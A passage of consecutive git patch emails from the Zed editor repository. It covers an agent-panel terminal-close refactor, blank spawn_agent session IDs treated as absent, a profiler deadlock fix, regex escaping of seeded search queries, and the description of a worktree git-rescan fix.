+                    this.request_close_terminal_from_terminal_event(terminal_id, cx);
                 }
                 TerminalEvent::BlinkChanged(_)
                 | TerminalEvent::SelectionsChanged
@@ -2269,7 +2269,7 @@ impl AgentPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        self.close_terminal_internal(terminal_id, true, None, window, cx);
+        self.close_terminal_internal(terminal_id, true, window, cx);
     }
 
     pub fn close_terminal_without_activating_draft(
@@ -2278,14 +2278,13 @@ impl AgentPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        self.close_terminal_internal(terminal_id, false, None, window, cx);
+        self.close_terminal_internal(terminal_id, false, window, cx);
     }
 
     fn close_terminal_internal(
         &mut self,
         terminal_id: TerminalId,
         activate_draft_after_close: bool,
-        terminal_closed_metadata: Option<TerminalThreadMetadata>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
@@ -2311,21 +2310,18 @@ impl AgentPanel {
             }
         }
 
-        if let Some(metadata) = terminal_closed_metadata {
-            cx.emit(AgentPanelEvent::TerminalClosed { metadata });
-        }
         cx.emit(AgentPanelEvent::EntryChanged);
         cx.notify();
     }
 
-    fn close_terminal_from_terminal_event(
+    fn request_close_terminal_from_terminal_event(
         &mut self,
         terminal_id: TerminalId,
-        window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        let metadata = self.terminal_metadata(terminal_id, cx);
-        self.close_terminal_internal(terminal_id, false, metadata, window, cx);
+        if let Some(metadata) = self.terminal_metadata(terminal_id, cx) {
+            cx.emit(AgentPanelEvent::TerminalCloseRequested { metadata });
+        }
     }
 
     fn emit_terminal_thread_started(
@@ -2767,7 +2763,7 @@ impl AgentPanel {
                     this.dismiss_terminal_pop_up_if_visible(terminal_id, &pop_up_weak, window, cx);
                 }
                 AgentPanelEvent::EntryChanged
-                | AgentPanelEvent::TerminalClosed { .. }
+                | AgentPanelEvent::TerminalCloseRequested { .. }
                 | AgentPanelEvent::ThreadInteracted { .. } => {}
             }
         });
@@ -4944,7 +4940,7 @@ pub enum AgentPanelEvent {
     ActiveViewChanged,
     ActiveViewFocused,
     EntryChanged,
-    TerminalClosed { metadata: TerminalThreadMetadata },
+    TerminalCloseRequested { metadata: TerminalThreadMetadata },
     ThreadInteracted { thread_id: ThreadId },
 }
 
@@ -9409,39 +9405,6 @@ mod tests {
         );
     }
 
-    #[gpui::test]
-    async fn test_terminal_close_event_closes_without_sidebar(cx: &mut TestAppContext) {
-        let (panel, mut cx) = setup_panel(cx).await;
-        cx.update(|_, cx| {
-            TerminalThreadMetadataStore::init_global(cx);
-        });
-
-        let terminal_id = panel
-            .update_in(&mut cx, |panel, window, cx| {
-                panel.insert_test_terminal("Dev Server", true, window, cx)
-            })
-            .expect("test terminal should be inserted");
-        cx.run_until_parked();
-
-        panel.update(&mut cx, |panel, cx| {
-            panel.emit_test_terminal_close(terminal_id, cx);
-        });
-        cx.run_until_parked();
-
-        panel.read_with(&cx, |panel, _cx| {
-            assert!(!panel.has_terminal(terminal_id));
-        });
-        cx.update(|_, cx| {
-            assert!(
-                TerminalThreadMetadataStore::global(cx)
-                    .read(cx)
-                    .entry(terminal_id)
-                    .is_none(),
-                "terminal metadata should be deleted by the fallback close"
-            );
-        });
-    }
-
     #[gpui::test]
     async fn test_terminal_title_omits_placeholder_title(cx: &mut TestAppContext) {
         let (panel, mut cx) = setup_panel(cx).await;
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 507c96c902c222..d65e83e45a20a2 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -3046,7 +3046,7 @@ impl ConversationView {
                             dismiss_if_visible(this, window, cx);
                         }
                         AgentPanelEvent::EntryChanged
-                        | AgentPanelEvent::TerminalClosed { .. }
+                        | AgentPanelEvent::TerminalCloseRequested { .. }
                         | AgentPanelEvent::ThreadInteracted { .. } => {}
                     },
                 ));
diff --git a/crates/sidebar/src/sidebar.rs b/crates/sidebar/src/sidebar.rs
index b28ea7af1e7a90..f55618fc2b8a78 100644
--- a/crates/sidebar/src/sidebar.rs
+++ b/crates/sidebar/src/sidebar.rs
@@ -1139,7 +1139,7 @@ impl Sidebar {
                     this.sync_active_entry_from_panel(agent_panel, cx);
                     this.schedule_update_entries(false, cx);
                 }
-                AgentPanelEvent::TerminalClosed { metadata } => {
+                AgentPanelEvent::TerminalCloseRequested { metadata } => {
                     if let Some(workspace) = workspace.upgrade() {
                         let workspace = ThreadEntryWorkspace::Open(workspace);
                         this.close_terminal(metadata, &workspace, window, cx);
@@ -5209,6 +5209,7 @@ impl Sidebar {
         cx: &mut Context<Self>,
     ) {
         let terminal_id = metadata.terminal_id;
+        let defer_draft_activation = activate_panel_draft && is_active && neighbor.is_some();
 
         // Closing from the sidebar must not steal focus, since the row's
         // workspace may not be the active workspace.
@@ -5216,10 +5217,10 @@ impl Sidebar {
             workspace.update(cx, |workspace, cx| {
                 if let Some(panel) = workspace.panel::<AgentPanel>(cx) {
                     panel.update(cx, |panel, cx| {
-                        if activate_panel_draft {
-                            panel.close_terminal(terminal_id, window, cx);
-                        } else {
+                        if defer_draft_activation || !activate_panel_draft {
                             panel.close_terminal_without_activating_draft(terminal_id, window, cx);
+                        } else {
+                            panel.close_terminal(terminal_id, window, cx);
                         }
                     });
                 }
@@ -5241,6 +5242,15 @@ impl Sidebar {
             {
                 return;
             }
+            if defer_draft_activation && let ThreadEntryWorkspace::Open(workspace) = workspace {
+                workspace.update(cx, |workspace, cx| {
+                    if let Some(panel) = workspace.panel::<AgentPanel>(cx) {
+                        panel.update(cx, |panel, cx| {
+                            panel.activate_draft(false, AgentThreadSource::AgentPanel, window, cx);
+                        });
+                    }
+                });
+            }
             self.sync_active_entry_from_active_workspace(cx);
         }
         self.update_entries(cx);
diff --git a/crates/sidebar/src/sidebar_tests.rs b/crates/sidebar/src/sidebar_tests.rs
index e5c7cca5d677e8..864efd5ab822eb 100644
--- a/crates/sidebar/src/sidebar_tests.rs
+++ b/crates/sidebar/src/sidebar_tests.rs
@@ -2930,6 +2930,46 @@ async fn test_terminal_close_event_closes_sidebar_terminal(cx: &mut TestAppConte
     });
 }
 
+#[gpui::test]
+async fn test_terminal_close_event_activates_neighbor(cx: &mut TestAppContext) {
+    let project = init_test_project_with_agent_panel("/my-project", cx).await;
+    let (multi_workspace, cx) =
+        cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let (sidebar, panel) = setup_sidebar_with_agent_panel(&multi_workspace, cx);
+    let build_terminal_id = panel
+        .update_in(cx, |panel, window, cx| {
+            panel.insert_test_terminal("Build", true, window, cx)
+        })
+        .expect("build test terminal should be inserted");
+    let server_terminal_id = panel
+        .update_in(cx, |panel, window, cx| {
+            panel.insert_test_terminal("Server", true, window, cx)
+        })
+        .expect("server test terminal should be inserted");
+    cx.run_until_parked();
+
+    panel.update(cx, |panel, cx| {
+        panel.emit_test_terminal_close(server_terminal_id, cx);
+    });
+    cx.run_until_parked();
+
+    panel.read_with(cx, |panel, _cx| {
+        assert!(!panel.has_terminal(server_terminal_id));
+        assert_eq!(panel.active_terminal_id(), Some(build_terminal_id));
+    });
+    sidebar.read_with(cx, |sidebar, _cx| {
+        assert!(
+            matches!(&sidebar.active_entry, Some(ActiveEntry::Terminal { terminal_id, .. }) if *terminal_id == build_terminal_id),
+            "expected remaining terminal to become active, got {:?}",
+            sidebar.active_entry,
+        );
+    });
+    assert_eq!(
+        visible_entries_as_strings(&sidebar, cx),
+        vec!["v [my-project]", "  Build"]
+    );
+}
+
 #[gpui::test]
 async fn test_agent_panel_terminal_notifications_update_sidebar(cx: &mut TestAppContext) {
     let project = init_test_project_with_agent_panel("/my-project", cx).await;

From f7d481c4156924089c4f98f08aa88a605d5e8ea9 Mon Sep 17 00:00:00 2001
From: Nevo Poran <nevo@tenetsecurity.ai>
Date: Fri, 24 Jul 2026 17:03:06 +0300
Subject: [PATCH 683/772] Treat blank spawn_agent session IDs as absent
 (#60893)

# Objective

Fix `spawn_agent` calls that provide an empty or whitespace-only
`session_id`.

Currently, an empty string is deserialized as a real session id, so the
tool attempts to resume a session with an empty id instead of starting a
new subagent session. This can happen when callers serialize an optional
`session_id` field as `""`.

Related: Refs #55987. This addresses one concrete session-id failure
mode described there, but that issue also covers broader
OpenAI-compatible provider/subagent reliability concerns.

## Solution

- Add custom deserialization for `SpawnAgentToolInput.session_id`.
- Treat omitted, `null`, empty, and whitespace-only values as `None`.
- Preserve existing behavior for non-empty `session_id` values, so
follow-up calls still resume an existing subagent session.
- Clarify the field docs.
- Add a regression test covering omitted, `null`, empty,
whitespace-only, and non-empty values.

## Testing

Tested locally on macOS:

- `RUSTUP_TOOLCHAIN=1.95.0 cargo fmt --manifest-path zed/Cargo.toml
--package agent --check`
- `RUSTUP_TOOLCHAIN=1.95.0 cargo test --manifest-path zed/Cargo.toml -p
agent -p gpui_macos --features gpui_macos/runtime_shaders
deserializes_blank_session_id_as_absent`
- `RUSTUP_TOOLCHAIN=1.95.0 cargo build --manifest-path zed/Cargo.toml -p
zed -p gpui_platform --features gpui_platform/runtime_shaders`
- `RUSTUP_TOOLCHAIN=1.95.0 cargo clippy --manifest-path zed/Cargo.toml
-p agent -p gpui_macos --features gpui_macos/runtime_shaders --tests --
-D warnings`

The local build uses runtime shaders because this machine does not have
the full Xcode Metal CLI toolchain available. CI should cover the
standard build matrix.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed `spawn_agent` handling so blank `session_id` values are treated
as absent and start a new subagent session.

---------

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
Co-authored-by: Bennet Bo Fenner <bennet@zed.dev>
---
 crates/agent/src/tools/spawn_agent_tool.rs | 61 ++++++++++++++++++++--
 1 file changed, 58 insertions(+), 3 deletions(-)

diff --git a/crates/agent/src/tools/spawn_agent_tool.rs b/crates/agent/src/tools/spawn_agent_tool.rs
index 9fa26bf29ad48f..bc871a2f2c7171 100644
--- a/crates/agent/src/tools/spawn_agent_tool.rs
+++ b/crates/agent/src/tools/spawn_agent_tool.rs
@@ -4,7 +4,7 @@ use anyhow::Result;
 use gpui::{App, SharedString, Task};
 use language_model::LanguageModelToolResultContent;
 use schemars::JsonSchema;
-use serde::{Deserialize, Serialize};
+use serde::{Deserialize, Deserializer, Serialize};
 use std::rc::Rc;
 use std::sync::Arc;
 
@@ -41,11 +41,31 @@ pub struct SpawnAgentToolInput {
     pub label: String,
     /// The prompt for the agent. For new sessions, include full context needed for the task. For follow-ups (with session_id), you can rely on the agent already having the previous message.
     pub message: String,
-    /// Session ID of an existing agent session to continue instead of creating a new one.
-    #[serde(default)]
+    /// Session ID of an existing agent session to continue instead of creating a new one. Omit to create a new agent.
+    #[serde(default, deserialize_with = "deserialize_session_id")]
     pub session_id: Option<acp::SessionId>,
 }
 
+fn deserialize_session_id<'de, D>(deserializer: D) -> Result<Option<acp::SessionId>, D::Error>
+where
+    D: Deserializer<'de>,
+{
+    let Some(value) = Option::<serde_json::Value>::deserialize(deserializer)? else {
+        return Ok(None);
+    };
+
+    if value
+        .as_str()
+        .is_some_and(|session_id| session_id.trim().is_empty())
+    {
+        return Ok(None);
+    }
+
+    serde_json::from_value(value)
+        .map(Some)
+        .map_err(serde::de::Error::custom)
+}
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(untagged)]
 #[serde(rename_all = "snake_case")]
@@ -254,3 +274,38 @@ impl AgentTool for SpawnAgentTool {
         Ok(())
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use serde_json::json;
+
+    #[test]
+    fn deserializes_blank_session_id_as_absent() {
+        for session_id in [json!(null), json!(""), json!("   ")] {
+            let input: SpawnAgentToolInput = serde_json::from_value(json!({
+                "label": "label",
+                "message": "message",
+                "session_id": session_id,
+            }))
+            .unwrap();
+
+            assert!(input.session_id.is_none());
+        }
+
+        let input: SpawnAgentToolInput = serde_json::from_value(json!({
+            "label": "label",
+            "message": "message",
+        }))
+        .unwrap();
+        assert!(input.session_id.is_none());
+
+        let input: SpawnAgentToolInput = serde_json::from_value(json!({
+            "label": "label",
+            "message": "message",
+            "session_id": "existing-session",
+        }))
+        .unwrap();
+        assert_eq!(input.session_id.unwrap().to_string(), "existing-session");
+    }
+}

From c16d19c94dbc1c62752b736186ab8fd6f1cd25c6 Mon Sep 17 00:00:00 2001
From: Anthony Eid <56899983+Anthony-Eid@users.noreply.github.com>
Date: Fri, 24 Jul 2026 18:34:17 +0300
Subject: [PATCH 684/772] gpui: Fix deadlock in performance profiler and
 reenable it (#61584)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

### Summary

PR #58942 disabled the performance profiler within Zed because there was
a race condition that caused Zed to hang forever due to a deadlock
involving the foreground thread. This PR fixes the deadlock and
re-enables the performance profiler.

The deadlock happened because `ThreadTimings::drop()` locks
`GLOBAL_THREAD_TIMINGS`, and that drop could run in places where
`GLOBAL_THREAD_TIMINGS` was already locked: the collection paths
(`get_all_timings`, `take_all_stats`, `set_trace_enabled(false)`) held
the global lock while upgrading and then dropping per-thread
`Arc<GuardedTaskTimings>` handles. If a worker thread exited in that
window (e.g. GCD reclaiming an idle thread), the collector inherited the
last strong reference, and dropping it ran `ThreadTimings::drop` ->
`GLOBAL_THREAD_TIMINGS.lock()` reentrantly on the same thread. The
spinlock is not reentrant, so the thread spun forever while holding the
lock, hanging every other thread that touched the profiler.

The fix: hold `GLOBAL_THREAD_TIMINGS` only long enough to upgrade the
`Weak` handles (`upgraded_thread_timings()`), and release it before any
per-thread buffer is locked, copied, or dropped. A last-reference drop
now always runs with the global lock free. As a side benefit, the
up-to-16MiB per-thread buffer copies no longer happen under the global
lock.

### Diagram

```mermaid
sequenceDiagram
    participant C as Collector thread (get_all_timings)
    participant G as GLOBAL_THREAD_TIMINGS (spin::Mutex)
    participant T as Worker thread (exiting)

    Note over T: holds the only strong Arc<br/>in its THREAD_TIMINGS TLS
    C->>G: lock() — guard held for entire collection
    C->>C: Weak::upgrade() (strong: 1 → 2)
    T->>T: thread exits, TLS destructor drops its Arc (strong: 2 → 1)
    C->>C: temp Arc dropped at end of iteration (strong: 1 → 0)
    C->>C: ThreadTimings::drop() runs on collector thread
    C->>G: lock() again — already held by this thread
    Note over C,G: spin lock is not reentrant → spins forever,<br/>every other profiler user spins behind it

    Note over C,T: Fix: upgrade all Weaks under the lock, release it,<br/>then lock/copy/drop per-thread handles — the reentrant<br/>drop can now only ever run with the global lock free
```

Release Notes:

- Fixed a deadlock in the performance profiler and re-enabled it (`zed:
open performance profiler`)
---
 crates/gpui/src/profiler.rs     | 56 +++++++++++++++++++--------------
 crates/remote_server/Cargo.toml |  2 +-
 crates/zed/Cargo.toml           |  2 +-
 3 files changed, 34 insertions(+), 26 deletions(-)

diff --git a/crates/gpui/src/profiler.rs b/crates/gpui/src/profiler.rs
index c9e9e8c58784da..e66a0025cf2013 100644
--- a/crates/gpui/src/profiler.rs
+++ b/crates/gpui/src/profiler.rs
@@ -23,8 +23,7 @@ use crate::{SharedString, TasksIncluded, WindowId};
 #[cfg(feature = "profiler")]
 #[doc(hidden)]
 pub fn get_all_timings(included: gpui::TasksIncluded) -> Vec<gpui::ThreadTaskTimings> {
-    let global_thread_timings = GLOBAL_THREAD_TIMINGS.lock();
-    ThreadTaskTimings::collect(&global_thread_timings, included)
+    ThreadTaskTimings::collect(upgraded_thread_timings(), included)
 }
 
 #[cfg(feature = "profiler")]
@@ -36,8 +35,7 @@ pub fn get_current_thread_timings(included: TasksIncluded) -> gpui::ThreadTaskTi
 #[cfg(feature = "profiler")]
 #[doc(hidden)]
 pub fn take_all_stats(included: TasksIncluded) -> Vec<gpui::ThreadTaskStatistics> {
-    let global_timings = GLOBAL_THREAD_TIMINGS.lock();
-    ThreadTaskStatistics::collect_and_reset(&global_timings, included)
+    ThreadTaskStatistics::collect_and_reset(upgraded_thread_timings(), included)
 }
 
 #[cfg(not(feature = "profiler"))]
@@ -128,14 +126,13 @@ pub struct ThreadTaskTimings {
 }
 
 impl ThreadTaskTimings {
-    /// Convert global thread timings into their structured format.
-    pub fn collect(timings: &[GlobalThreadTimings], included: TasksIncluded) -> Vec<Self> {
+    /// Convert upgraded per-thread timings into their structured format.
+    pub fn collect(
+        timings: Vec<(ThreadId, Arc<GuardedTaskTimings>)>,
+        included: TasksIncluded,
+    ) -> Vec<Self> {
         timings
-            .iter()
-            .filter_map(|t| match t.timings.upgrade() {
-                Some(timings) => Some((t.thread_id, timings)),
-                _ => None,
-            })
+            .into_iter()
             .map(|(thread_id, timings)| {
                 let timings = timings.lock();
                 let thread_name = timings.thread_name.clone();
@@ -179,15 +176,11 @@ pub struct ThreadTaskStatistics {
 
 impl ThreadTaskStatistics {
     pub fn collect_and_reset(
-        timings: &[GlobalThreadTimings],
+        timings: Vec<(ThreadId, Arc<GuardedTaskTimings>)>,
         include_running: TasksIncluded,
     ) -> Vec<Self> {
         timings
-            .iter()
-            .filter_map(|t| match t.timings.upgrade() {
-                Some(timings) => Some((t.thread_id, timings)),
-                _ => None,
-            })
+            .into_iter()
             .map(|(thread_id, timings)| {
                 let mut timings = timings.lock();
                 let thread_name = timings.thread_name.clone();
@@ -511,6 +504,23 @@ impl TaskStatistics {
 pub static GLOBAL_THREAD_TIMINGS: spin::Mutex<Vec<GlobalThreadTimings>> =
     spin::Mutex::new(Vec::new());
 
+/// Upgrades all live per-thread timing handles, holding the global registry
+/// lock only for the duration of the upgrades.
+///
+/// The upgraded `Arc`s must never be dropped while `GLOBAL_THREAD_TIMINGS` is
+/// locked: dropping the last strong reference runs [`ThreadTimings::drop`],
+/// which locks `GLOBAL_THREAD_TIMINGS` again and would deadlock the
+/// non-reentrant spinlock. A thread exiting concurrently can hand off its last
+/// reference to us at any time, so callers of this function process (lock,
+/// read, drop) the returned handles only after the global lock is released.
+fn upgraded_thread_timings() -> Vec<(ThreadId, Arc<GuardedTaskTimings>)> {
+    let global_thread_timings = GLOBAL_THREAD_TIMINGS.lock();
+    global_thread_timings
+        .iter()
+        .filter_map(|t| Some((t.thread_id, t.timings.upgrade()?)))
+        .collect()
+}
+
 thread_local! {
     #[doc(hidden)]
     pub static THREAD_TIMINGS: LazyCell<Arc<GuardedTaskTimings>> = LazyCell::new(|| {
@@ -679,13 +689,11 @@ pub fn set_trace_enabled(enabled: bool) -> bool {
     }
 
     if !enabled {
-        for global in GLOBAL_THREAD_TIMINGS.lock().iter() {
-            if let Some(timings) = global.timings.upgrade() {
-                let mut timings = timings.lock();
-                timings.timings.clear();
-                timings.timings.shrink_to_fit();
-                timings.total_pushed = 0;
-            }
+        for (_, timings) in upgraded_thread_timings() {
+            let mut timings = timings.lock();
+            timings.timings.clear();
+            timings.timings.shrink_to_fit();
+            timings.total_pushed = 0;
         }
     }
     true
diff --git a/crates/remote_server/Cargo.toml b/crates/remote_server/Cargo.toml
index 89b0dfef67dc4c..6f22970504b804 100644
--- a/crates/remote_server/Cargo.toml
+++ b/crates/remote_server/Cargo.toml
@@ -39,7 +39,7 @@ fs.workspace = true
 futures.workspace = true
 git.workspace = true
 git_hosting_providers.workspace = true
-gpui.workspace = true
+gpui = { workspace = true, features = ["profiler"] }
 gpui_platform.workspace = true
 gpui_tokio.workspace = true
 http_client.workspace = true
diff --git a/crates/zed/Cargo.toml b/crates/zed/Cargo.toml
index d050b61d29f78d..68ced31c2b5ff4 100644
--- a/crates/zed/Cargo.toml
+++ b/crates/zed/Cargo.toml
@@ -117,7 +117,7 @@ git_hosting_providers.workspace = true
 git_ui = { workspace = true, features = ["call"] }
 go_to_line.workspace = true
 system_specs.workspace = true
-gpui = { workspace = true, features = ["input-latency-histogram"] }
+gpui = { workspace = true, features = ["input-latency-histogram", "profiler"] }
 gpui_platform = {workspace = true, features=["screen-capture", "font-kit", "wayland", "x11"]}
 hdrhistogram.workspace = true
 image = { workspace = true, optional = true }

From 2d692b4f2a0599d22d5c9c123e2ce6cad4d967fc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Javier=20G=C3=B3mez?= <letstalk@fjgbu.org>
Date: Fri, 24 Jul 2026 17:45:41 +0200
Subject: [PATCH 685/772] search: Escape seeded buffer search query in regex
 mode (#57748)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## What

When `seed_search_query_from_cursor` is enabled and regex mode is
active, the selected text is used verbatim as the regex pattern. This
means selecting text like `z.d` seeds the regex `z.d`, where `.` acts as
a wildcard — matching `zed`, `zXd`, etc. — rather than only the literal
string the user selected.

Fixes #57253.

## Why it was broken

`search_suggested()` in `BufferSearchBar` retrieves the raw selection
text from `query_suggestion()` and passes it directly to `search()`.
There was no escaping step, even when `default_options` had
`SearchOptions::REGEX` set.

## Fix

Run the seeded suggestion through `regex::escape()` before passing it to
`search()` when regex mode is enabled. This mirrors the identical
pattern already used in `crates/vim/src/normal/search.rs:485`.

```rust
// Before
let search = self
    .query_suggestion(seed_query_override, window, cx)
    .map(|suggestion| {
        self.search(&suggestion, Some(self.default_options), true, window, cx)
    });

// After
let search = self
    .query_suggestion(seed_query_override, window, cx)
    .map(|suggestion| {
        let suggestion = if self.default_options.contains(SearchOptions::REGEX) {
            regex::escape(&suggestion)
        } else {
            suggestion
        };
        self.search(&suggestion, Some(self.default_options), true, window, cx)
    });
```

## Test

Added `test_seeded_query_is_escaped_in_regex_mode` in
`buffer_search.rs`. It creates a buffer with `"z.d\nzed\n"`, enables
regex mode, selects `z.d`, seeds the search, and asserts:
- The query text becomes `z\.d` (escaped), not `z.d`
- Exactly 1 match is highlighted (the literal `z.d`), not 2

The `regex` crate was already a workspace dependency and is already used
in the `search` crate transitively; this adds it explicitly to
`crates/search/Cargo.toml`.

Release Notes:

- Fixed regex search seeded from cursor/selection matching more than the
selected text when the selection contained regex special characters
(e.g. `.`, `*`, `(`)

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/search/src/buffer_search.rs | 49 ++++++++++++++++++++++++++++++
 1 file changed, 49 insertions(+)

diff --git a/crates/search/src/buffer_search.rs b/crates/search/src/buffer_search.rs
index f1f81a40527a60..a379847295fb09 100644
--- a/crates/search/src/buffer_search.rs
+++ b/crates/search/src/buffer_search.rs
@@ -1043,6 +1043,11 @@ impl BufferSearchBar {
         let search = self
             .query_suggestion(seed_query_override, window, cx)
             .map(|suggestion| {
+                let suggestion = if self.default_options.contains(SearchOptions::REGEX) {
+                    regex::escape(&suggestion)
+                } else {
+                    suggestion
+                };
                 self.search(&suggestion, Some(self.default_options), true, window, cx)
             });
 
@@ -4167,6 +4172,50 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_seeded_query_is_escaped_in_regex_mode(cx: &mut TestAppContext) {
+        init_globals(cx);
+        let buffer = cx.new(|cx| Buffer::local("z.d\nzed\n", cx));
+        let cx = cx.add_empty_window();
+        let editor =
+            cx.new_window_entity(|window, cx| Editor::for_buffer(buffer.clone(), None, window, cx));
+        let search_bar = cx.new_window_entity(|window, cx| {
+            let mut search_bar = BufferSearchBar::new(None, window, cx);
+            search_bar.set_active_pane_item(Some(&editor), window, cx);
+            search_bar.show(window, cx);
+            search_bar
+        });
+
+        // Select "z.d" on the first line.
+        editor.update_in(cx, |editor, window, cx| {
+            editor.change_selections(SelectionEffects::no_scroll(), window, cx, |s| {
+                s.select_ranges([Point::new(0, 0)..Point::new(0, 3)])
+            });
+        });
+
+        search_bar.update_in(cx, |search_bar, window, cx| {
+            search_bar.toggle_search_option(SearchOptions::REGEX, window, cx);
+            search_bar.search_suggested(Some(SeedQuerySetting::Selection), window, cx);
+        });
+        cx.run_until_parked();
+
+        search_bar.read_with(cx, |search_bar, cx| {
+            assert_eq!(
+                search_bar.query(cx),
+                r"z\.d",
+                "seeded regex query must be escaped"
+            );
+        });
+
+        editor.update(cx, |editor, cx| {
+            assert_eq!(
+                editor.search_background_highlights(cx).len(),
+                1,
+                "only the literal 'z.d' should match, not 'zed'"
+            );
+        });
+    }
+
     fn update_search_settings(search_settings: SearchSettings, cx: &mut TestAppContext) {
         cx.update(|cx| {
             SettingsStore::update_global(cx, |store, cx| {

From 64672ee8161a2e5cf31822f50204324666fad926 Mon Sep 17 00:00:00 2001
From: Eric Holk <eric@zed.dev>
Date: Fri, 24 Jul 2026 09:50:57 -0700
Subject: [PATCH 686/772] worktree: Reload git state when a watcher rescan
 covers a repository (#61541)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

When the OS file watcher loses sync (e.g. its event queue overflows
under heavy fs churn), it drops pending events and reports a single
`Rescan` event for the watched root. Git changes hidden behind such a
rescan were silently lost, leaving the git panel and branch indicator
stale until something else touched `.git`.

Contributes to #13176. May fix #60102, though that report predates
#60660 and may already be addressed by it on nightly (see Related PRs
below).

Two bugs caused this, and they masked each other:

1. **A rescan never triggered a git reload.** The `Rescan` event's path
is the worktree root, not something inside `.git`, so it never populated
`dot_git_abs_paths` in `process_events` — and since `.git` is excluded
from entry scanning, the rescan produced no `.git` events either. The
dropped git changes were simply never picked up.
2. **Re-scanning reset `git_dir_scan_id` to 0.** The snapshot diff
detects git changes by comparing scan ids, so re-inserting the
repository with a fresh id could wipe out a bump made earlier in the
same scan cycle, swallowing the corresponding `UpdatedGitRepositories`
signal.

The masking is why these fixes land together rather than as two PRs: the
root-rescan case in `test_dot_git_dir_event_does_not_suppress_children`
only passed on `main` because the buggy scan-id reset made the snapshot
diff fire spuriously. Fixing either bug alone turns that (currently
green) test red.

## Solution

- `process_events`: a `Rescan` event now schedules a git state reload
for every repository whose git directory (`dot_git`, `common_dir`, or
`repository_dir`) lies under the rescanned path, covering linked
worktrees and gitfile repositories, including git dirs watched outside
the worktree root.
- `insert_git_repository_for_path`: carry the existing `git_dir_scan_id`
forward when re-inserting a repository instead of resetting it to 0.
Deliberately *not* bumped either: re-insertion is snapshot bookkeeping,
not evidence of a git change — bumping would trigger spurious full
reloads on non-lossy paths (explicit refreshes, path-prefix scans). Only
`update_git_repositories` claims that git state changed.
- `changed_repos`: a `debug_assert` enforcing that `git_dir_scan_id`
never regresses, so future violations of this invariant fail loudly in
tests instead of manifesting as a stale git panel.

## Testing

New fault-injection infrastructure and tests:

- `FakeFs::simulate_watcher_overflow` models the kernel's watch queue
overflowing: buffered (undelivered) events are discarded and replaced by
a single `Rescan` for the given root, mirroring FSEvents
`kFSEventStreamEventFlagMustScanSubDirs`, inotify `IN_Q_OVERFLOW`, and
Windows `ERROR_NOTIFY_ENUM_DIR`.
- `test_watcher_overflow_rescan_reloads_git_state`: a git change whose
events are lost to an overflow must still be picked up via the rescan
(reproduces bug 1; fails on `main`).
- `test_git_update_in_same_batch_as_rescan_is_not_lost`: a git event
processed in the same batch as a rescan must not lose its scan-id bump
to the repository re-insertion (reproduces bug 2; fails on `main`).
- `test_random_git_updates_with_watcher_overflows`: randomized property
test (100 iterations) asserting that every git state change is
eventually signaled via `UpdatedGitRepositories` under random event
batching, delays, and overflows. Fails on `main` within the first few
seeds.
- `test_random_worktree_changes` now also injects watcher overflows,
extending its existing convergence property to rescan reconciliation of
worktree entries (this already passed; the injection guards it going
forward).

Full `worktree` and `fs` suites pass. Verified the directed tests
exercise the intended code paths via trace logging (the same-batch test
hits `update_git_repositories` stamping followed by re-insertion,
distinct from the overflow test where no `.git` event arrives at all).

## Related PRs

The recent stale-git-state reports trace back to three distinct
mechanisms that share one symptom. This PR addresses the third:

- **Events never generated** — #60660 (merged, in this PR's base):
Linux's non-recursive watcher missed nested `refs/` directories, so
external commits/fetches produced no events at all. That PR (together
with #60590, which explicitly rescans after Zed-initiated reset/fetch
and touches only `git_store.rs`) fixed #60348. No overlap with this PR;
a merge against current `main` is clean, and the refs-watching tests are
disjoint from the overflow/rescan tests added here.
- **Events coalesced** — #59876 (open, complementary): FSEvents can
merge `.git` child events into a bare `.git` `Changed` event; the signal
arrives, in a shape Zed ignores. @RemcoSmitsDev's review comment there
describes this PR's failure mode and calls the two fixes complementary;
this is effectively the follow-up promised in that comment. Both PRs
touch the same region of `process_events`, so whichever lands second
needs a trivial rebase, and #59876 flips the bare-`.git` expectation in
`test_dot_git_dir_event_does_not_suppress_children` Case 2, which this
PR preserves.
- **Events dropped** — this PR: the watcher generated events but lost
them to a queue overflow, and the resulting `Rescan` did not reach the
git reload path. #59976 and #60098 (merged) reduced how often this
happens; this PR makes git state recover correctly when it does.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed the git panel and branch indicator showing stale state after
heavy file-system activity caused the file watcher to lose events
---
 crates/fs/src/fs.rs                           |  14 +
 crates/worktree/src/worktree.rs               |  56 +++-
 .../tests/integration/worktree_tests.rs       | 259 +++++++++++++++++-
 3 files changed, 325 insertions(+), 4 deletions(-)

